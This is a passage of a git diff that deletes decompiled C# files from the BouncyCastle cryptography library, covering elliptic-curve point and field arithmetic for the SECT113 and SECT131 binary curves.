Nat128.Copy64(((SecT113FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 2; - Nat128.Copy64(((SecT113FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 2; - } - return new SecT113R1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT113R1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT113R1Point.cs deleted file mode 100644 index 5aaa0bf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT113R1Point.cs +++ /dev/null @@ -1,260 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT113R1Point : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - return eCFieldElement; - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - } - } - - public SecT113R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecT113R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecT113R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecT113R1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - if (rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.XCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord) - .Add(curve.A); - if (eCFieldElement10.IsZero) - { - return new SecT113R1Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new SecT113R1Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new SecT113R1Point(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = (isOne ? rawYCoord : rawYCoord.Multiply(eCFieldElement)); - ECFieldElement b = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement a = curve.A; - ECFieldElement b2 = (isOne ? a : a.Multiply(b)); - ECFieldElement eCFieldElement3 = rawYCoord.Square().Add(eCFieldElement2).Add(b2); - if (eCFieldElement3.IsZero) - { - return new SecT113R1Point(curve, eCFieldElement3, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement4 = eCFieldElement3.Square(); - ECFieldElement eCFieldElement5 = (isOne ? eCFieldElement3 : eCFieldElement3.Multiply(b)); - ECFieldElement eCFieldElement6 = (isOne ? rawXCoord : rawXCoord.Multiply(eCFieldElement)); - ECFieldElement y = eCFieldElement6.SquarePlusProduct(eCFieldElement3, eCFieldElement2).Add(eCFieldElement4).Add(eCFieldElement5); - return new SecT113R1Point(curve, eCFieldElement4, y, new ECFieldElement[1] { eCFieldElement5 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement b2 = rawYCoord.Square(); - ECFieldElement eCFieldElement3 = eCFieldElement2.Square(); - ECFieldElement b3 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b4 = curve.A.Multiply(eCFieldElement3).Add(b2).Add(b3); - ECFieldElement eCFieldElement4 = rawYCoord2.AddOne(); - ECFieldElement eCFieldElement5 = curve.A.Add(eCFieldElement4).Multiply(eCFieldElement3).Add(b2) - .MultiplyPlusProduct(b4, x, eCFieldElement3); - ECFieldElement eCFieldElement6 = rawXCoord2.Multiply(eCFieldElement3); - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(b4).Square(); - if (eCFieldElement7.IsZero) - { - if (eCFieldElement5.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement5.IsZero) - { - return new SecT113R1Point(curve, eCFieldElement5, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement5.Square().Multiply(eCFieldElement6); - ECFieldElement eCFieldElement8 = eCFieldElement5.Multiply(eCFieldElement7).Multiply(eCFieldElement3); - ECFieldElement y = eCFieldElement5.Add(eCFieldElement7).Square().MultiplyPlusProduct(b4, eCFieldElement4, eCFieldElement8); - return new SecT113R1Point(curve, x2, y, new ECFieldElement[1] { eCFieldElement8 }, base.IsCompressed); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new SecT113R1Point(Curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT113R2Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT113R2Curve.cs deleted file mode 100644 index 652e167..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT113R2Curve.cs +++ /dev/null @@ -1,127 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT113R2Curve : AbstractF2mCurve -{ - private class SecT113R2LookupTable : ECLookupTable - { - private readonly SecT113R2Curve m_outer; - - private readonly ulong[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecT113R2LookupTable(SecT113R2Curve outer, ulong[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - ulong[] array = Nat128.Create64(); - ulong[] array2 = Nat128.Create64(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - ulong num2 = (ulong)((i ^ index) - 1 >> 31); - for (int j = 0; j < 2; j++) - { - ulong[] array4; - ulong[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - ulong[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 2 + j] & num2); - } - num += 4; - } - return m_outer.CreateRawPoint(new SecT113FieldElement(array), new SecT113FieldElement(array2), withCompression: false); - } - } - - private const int SECT113R2_DEFAULT_COORDS = 6; - - private const int SECT113R2_FE_LONGS = 2; - - protected readonly SecT113R2Point m_infinity; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => 113; - - public override bool IsKoblitz => false; - - public virtual int M => 113; - - public virtual bool IsTrinomial => true; - - public virtual int K1 => 9; - - public virtual int K2 => 0; - - public virtual int K3 => 0; - - public SecT113R2Curve() - : base(113, 9, 0, 0) - { - m_infinity = new SecT113R2Point(this, null, null); - m_a = FromBigInteger(new BigInteger(1, Hex.Decode("00689918DBEC7E5A0DD6DFC0AA55C7"))); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("0095E9A9EC9B297BD4BF36E059184F"))); - m_order = new BigInteger(1, Hex.Decode("010000000000000108789B2496AF93")); - m_cofactor = BigInteger.Two; - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new SecT113R2Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 6) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecT113FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecT113R2Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecT113R2Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - ulong[] array = new ulong[len * 2 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat128.Copy64(((SecT113FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 2; - Nat128.Copy64(((SecT113FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 2; - } - return new SecT113R2LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT113R2Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT113R2Point.cs deleted file mode 100644 index 4c4b075..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT113R2Point.cs +++ /dev/null @@ -1,260 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT113R2Point : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - return eCFieldElement; - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - } - } - - public SecT113R2Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecT113R2Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecT113R2Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecT113R2Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - if (rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.XCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord) - .Add(curve.A); - if (eCFieldElement10.IsZero) - { - return new SecT113R2Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new SecT113R2Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new SecT113R2Point(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = (isOne ? rawYCoord : rawYCoord.Multiply(eCFieldElement)); - ECFieldElement b = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement a = curve.A; - ECFieldElement b2 = (isOne ? a : a.Multiply(b)); - ECFieldElement eCFieldElement3 = rawYCoord.Square().Add(eCFieldElement2).Add(b2); - if (eCFieldElement3.IsZero) - { - return new SecT113R2Point(curve, eCFieldElement3, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement4 = eCFieldElement3.Square(); - ECFieldElement eCFieldElement5 = (isOne ? eCFieldElement3 : eCFieldElement3.Multiply(b)); - ECFieldElement eCFieldElement6 = (isOne ? rawXCoord : rawXCoord.Multiply(eCFieldElement)); - ECFieldElement y = eCFieldElement6.SquarePlusProduct(eCFieldElement3, eCFieldElement2).Add(eCFieldElement4).Add(eCFieldElement5); - return new SecT113R2Point(curve, eCFieldElement4, y, new ECFieldElement[1] { eCFieldElement5 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement b2 = rawYCoord.Square(); - ECFieldElement eCFieldElement3 = eCFieldElement2.Square(); - ECFieldElement b3 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b4 = curve.A.Multiply(eCFieldElement3).Add(b2).Add(b3); - ECFieldElement eCFieldElement4 = rawYCoord2.AddOne(); - ECFieldElement eCFieldElement5 = curve.A.Add(eCFieldElement4).Multiply(eCFieldElement3).Add(b2) - .MultiplyPlusProduct(b4, x, eCFieldElement3); - ECFieldElement eCFieldElement6 = rawXCoord2.Multiply(eCFieldElement3); - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(b4).Square(); - if (eCFieldElement7.IsZero) - { - if (eCFieldElement5.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement5.IsZero) - { - return new SecT113R2Point(curve, eCFieldElement5, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement5.Square().Multiply(eCFieldElement6); - ECFieldElement eCFieldElement8 = eCFieldElement5.Multiply(eCFieldElement7).Multiply(eCFieldElement3); - ECFieldElement y = eCFieldElement5.Add(eCFieldElement7).Square().MultiplyPlusProduct(b4, eCFieldElement4, eCFieldElement8); - return new SecT113R2Point(curve, x2, y, new ECFieldElement[1] { eCFieldElement8 }, base.IsCompressed); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new SecT113R2Point(Curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT131Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT131Field.cs deleted file mode 100644 index d210ac3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT131Field.cs +++ /dev/null @@ -1,287 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT131Field -{ - private const ulong M03 = 7uL; - - private const ulong M44 = 17592186044415uL; - - private static readonly ulong[] ROOT_Z = new ulong[3] { 2791191049453778211uL, 2791191049453778402uL, 6uL }; - - public static void Add(ulong[] x, ulong[] y, ulong[] z) - { - z[0] = x[0] ^ y[0]; - z[1] = x[1] ^ y[1]; - z[2] = x[2] ^ y[2]; - } - - public static void AddExt(ulong[] xx, ulong[] yy, ulong[] zz) - { - zz[0] = xx[0] ^ yy[0]; - zz[1] = xx[1] ^ yy[1]; - zz[2] = xx[2] ^ yy[2]; - zz[3] = xx[3] ^ yy[3]; - zz[4] = xx[4] ^ yy[4]; - } - - public static void AddOne(ulong[] x, ulong[] z) - { - z[0] = x[0] ^ 1; - z[1] = x[1]; - z[2] = x[2]; - } - - public static ulong[] FromBigInteger(BigInteger x) - { - ulong[] array = Nat192.FromBigInteger64(x); - Reduce61(array, 0); - return array; - } - - public static void Invert(ulong[] x, ulong[] z) - { - if (Nat192.IsZero64(x)) - { - throw new InvalidOperationException(); - } - ulong[] array = Nat192.Create64(); - ulong[] array2 = Nat192.Create64(); - Square(x, array); - Multiply(array, x, array); - SquareN(array, 2, array2); - Multiply(array2, array, array2); - SquareN(array2, 4, array); - Multiply(array, array2, array); - SquareN(array, 8, array2); - Multiply(array2, array, array2); - SquareN(array2, 16, array); - Multiply(array, array2, array); - SquareN(array, 32, array2); - Multiply(array2, array, array2); - Square(array2, array2); - Multiply(array2, x, array2); - SquareN(array2, 65, array); - Multiply(array, array2, array); - Square(array, z); - } - - public static void Multiply(ulong[] x, ulong[] y, ulong[] z) - { - ulong[] array = Nat192.CreateExt64(); - ImplMultiply(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(ulong[] x, ulong[] y, ulong[] zz) - { - ulong[] array = Nat192.CreateExt64(); - ImplMultiply(x, y, array); - AddExt(zz, array, zz); - } - - public static void Reduce(ulong[] xx, ulong[] z) - { - ulong num = xx[0]; - ulong num2 = xx[1]; - ulong num3 = xx[2]; - ulong num4 = xx[3]; - ulong num5 = xx[4]; - num2 ^= (num5 << 61) ^ (num5 << 63); - num3 ^= (num5 >> 3) ^ (num5 >> 1) ^ num5 ^ (num5 << 5); - num4 ^= num5 >> 59; - num ^= (num4 << 61) ^ (num4 << 63); - num2 ^= (num4 >> 3) ^ (num4 >> 1) ^ num4 ^ (num4 << 5); - num3 ^= num4 >> 59; - ulong num6 = num3 >> 3; - z[0] = num ^ num6 ^ (num6 << 2) ^ (num6 << 3) ^ (num6 << 8); - z[1] = num2 ^ (num6 >> 56); - z[2] = num3 & 7; - } - - public static void Reduce61(ulong[] z, int zOff) - { - ulong num = z[zOff + 2]; - ulong num2 = num >> 3; - ulong[] array2; - ulong[] array = (array2 = z); - nint num3 = zOff; - array[zOff] = array2[num3] ^ (num2 ^ (num2 << 2) ^ (num2 << 3) ^ (num2 << 8)); - ulong[] array3 = (array2 = z); - int num4 = zOff + 1; - num3 = num4; - array3[num4] = array2[num3] ^ (num2 >> 56); - z[zOff + 2] = num & 7; - } - - public static void Sqrt(ulong[] x, ulong[] z) - { - ulong[] array = Nat192.Create64(); - ulong num = Interleave.Unshuffle(x[0]); - ulong num2 = Interleave.Unshuffle(x[1]); - ulong num3 = (num & 0xFFFFFFFFu) | (num2 << 32); - array[0] = (num >> 32) | (num2 & 0xFFFFFFFF00000000uL); - num = Interleave.Unshuffle(x[2]); - ulong num4 = num & 0xFFFFFFFFu; - array[1] = num >> 32; - Multiply(array, ROOT_Z, z); - ulong[] array2; - (array2 = z)[0] = array2[0] ^ num3; - (array2 = z)[1] = array2[1] ^ num4; - } - - public static void Square(ulong[] x, ulong[] z) - { - ulong[] array = Nat.Create64(5); - ImplSquare(x, array); - Reduce(array, z); - } - - public static void SquareAddToExt(ulong[] x, ulong[] zz) - { - ulong[] array = Nat.Create64(5); - ImplSquare(x, array); - AddExt(zz, array, zz); - } - - public static void SquareN(ulong[] x, int n, ulong[] z) - { - ulong[] array = Nat.Create64(5); - ImplSquare(x, array); - Reduce(array, z); - while (--n > 0) - { - ImplSquare(z, array); - Reduce(array, z); - } - } - - public static uint Trace(ulong[] x) - { - return (uint)((int)(x[0] ^ (x[1] >> 59) ^ (x[2] >> 1)) & 1); - } - - protected static void ImplCompactExt(ulong[] zz) - { - ulong num = zz[0]; - ulong num2 = zz[1]; - ulong num3 = zz[2]; - ulong num4 = zz[3]; - ulong num5 = zz[4]; - ulong num6 = zz[5]; - zz[0] = num ^ (num2 << 44); - zz[1] = (num2 >> 20) ^ (num3 << 24); - zz[2] = (num3 >> 40) ^ (num4 << 4) ^ (num5 << 48); - zz[3] = (num4 >> 60) ^ (num6 << 28) ^ (num5 >> 16); - zz[4] = num6 >> 36; - zz[5] = 0uL; - } - - protected static void ImplMultiply(ulong[] x, ulong[] y, ulong[] zz) - { - ulong num = x[0]; - ulong num2 = x[1]; - ulong num3 = x[2]; - num3 = ((num2 >> 24) ^ (num3 << 40)) & 0xFFFFFFFFFFFL; - num2 = ((num >> 44) ^ (num2 << 20)) & 0xFFFFFFFFFFFL; - num &= 0xFFFFFFFFFFFL; - ulong num4 = y[0]; - ulong num5 = y[1]; - ulong num6 = y[2]; - num6 = ((num5 >> 24) ^ (num6 << 40)) & 0xFFFFFFFFFFFL; - num5 = ((num4 >> 44) ^ (num5 << 20)) & 0xFFFFFFFFFFFL; - num4 &= 0xFFFFFFFFFFFL; - ulong[] array = new ulong[10]; - ImplMulw(num, num4, array, 0); - ImplMulw(num3, num6, array, 2); - ulong num7 = num ^ num2 ^ num3; - ulong num8 = num4 ^ num5 ^ num6; - ImplMulw(num7, num8, array, 4); - ulong num9 = (num2 << 1) ^ (num3 << 2); - ulong num10 = (num5 << 1) ^ (num6 << 2); - ImplMulw(num ^ num9, num4 ^ num10, array, 6); - ImplMulw(num7 ^ num9, num8 ^ num10, array, 8); - ulong num11 = array[6] ^ array[8]; - ulong num12 = array[7] ^ array[9]; - ulong num13 = (num11 << 1) ^ array[6]; - ulong num14 = num11 ^ (num12 << 1) ^ array[7]; - ulong num15 = num12; - ulong num16 = array[0]; - ulong num17 = array[1] ^ array[0] ^ array[4]; - ulong num18 = array[1] ^ array[5]; - ulong num19 = num16 ^ num13 ^ (array[2] << 4) ^ (array[2] << 1); - ulong num20 = num17 ^ num14 ^ (array[3] << 4) ^ (array[3] << 1); - ulong num21 = num18 ^ num15; - num20 ^= num19 >> 44; - num19 &= 0xFFFFFFFFFFFL; - num21 ^= num20 >> 44; - num20 &= 0xFFFFFFFFFFFL; - num19 = (num19 >> 1) ^ ((num20 & 1) << 43); - num20 = (num20 >> 1) ^ ((num21 & 1) << 43); - num21 >>= 1; - num19 ^= num19 << 1; - num19 ^= num19 << 2; - num19 ^= num19 << 4; - num19 ^= num19 << 8; - num19 ^= num19 << 16; - num19 ^= num19 << 32; - num19 &= 0xFFFFFFFFFFFL; - num20 ^= num19 >> 43; - num20 ^= num20 << 1; - num20 ^= num20 << 2; - num20 ^= num20 << 4; - num20 ^= num20 << 8; - num20 ^= num20 << 16; - num20 ^= num20 << 32; - num20 &= 0xFFFFFFFFFFFL; - num21 ^= num20 >> 43; - num21 ^= num21 << 1; - num21 ^= num21 << 2; - num21 ^= num21 << 4; - num21 ^= num21 << 8; - num21 ^= num21 << 16; - num21 ^= num21 << 32; - zz[0] = num16; - zz[1] = num17 ^ num19 ^ array[2]; - zz[2] = num18 ^ num20 ^ num19 ^ array[3]; - zz[3] = num21 ^ num20; - zz[4] = num21 ^ array[2]; - zz[5] = array[3]; - 